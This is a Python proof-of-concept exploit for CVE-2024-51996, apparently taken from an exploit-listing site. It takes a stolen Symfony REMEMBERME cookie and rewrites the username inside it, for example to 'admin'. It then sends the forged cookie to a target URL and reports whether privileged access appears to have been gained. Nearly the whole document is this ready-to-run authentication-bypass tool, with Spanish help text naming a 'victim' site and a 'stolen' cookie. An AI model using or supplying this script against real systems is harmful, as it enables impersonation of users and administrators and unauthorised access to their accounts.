4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-51996.py PY
import requests
import argparse
import sys

def banner():
    print("==============================================")
    print("       Symfony RememberMe Exploit v2.0        ")
    print("     Explota el CVE-2024-51996 (bypass auth)  ")
    print("            by m10sec | [email protected]      ")
    print("==============================================\n")

def parse_args():
    parser = argparse.ArgumentParser(description="Exploit para CVE-2024-51996 - Symfony RememberMe token spoofing.")
    parser.add_argument("-u", "--url", required=True, help="URL objetivo (por ejemplo: https://victima.com)")
    parser.add_argument("-c", "--cookie", required=True, help="Cookie REMEMBERME robada (ej: User1:token:series:hash)")
    parser.add_argument("-s", "--spoof", required=True, help="Usuario a suplantar (ej: admin)")

    return parser.parse_args()

def exploit(target_url, stolen_cookie, spoof_user):
    print(f"[*] URL objetivo: {target_url}")
    print(f"[*] Usuario a suplantar: {spoof_user}")
    
    if spoof_user not in stolen_cookie:
        # Suplantar al usuario original de la cookie robada
        try:
            original_user = stolen_cookie.split(":")[0]
            spoofed_cookie = stolen_cookie.replace(original_user, spoof_user, 1)
        except Exception:
            print("[-] Error al analizar la cookie robada.")
            sys.exit(1)
    else:
        spoofed_cookie = stolen_cookie

    print(f"[+] Cookie suplantada: {spoofed_cookie}")

    cookies = {
        "REMEMBERME": spoofed_cookie
    }

    try:
        r = requests.get(target_url, cookies=cookies, timeout=10, allow_redirects=True)
    except requests.exceptions.RequestException as e:
        print(f"[-] Error al realizar la petición: {e}")
        sys.exit(1)

    print(f"[+] Código HTTP recibido: {r.status_code}")
    if "admin" in r.text.lower() or "panel" in r.text.lower() or "dashboard" in r.text.lower():
        print("[+] ¡Posible acceso como usuario privilegiado!")
    else:
        print("[-] El bypass no fue exitoso o la respuesta no lo evidencia.")

if __name__ == "__main__":
    banner()
    args = parse_args()
    exploit(args.url, args.cookie, args.spoof)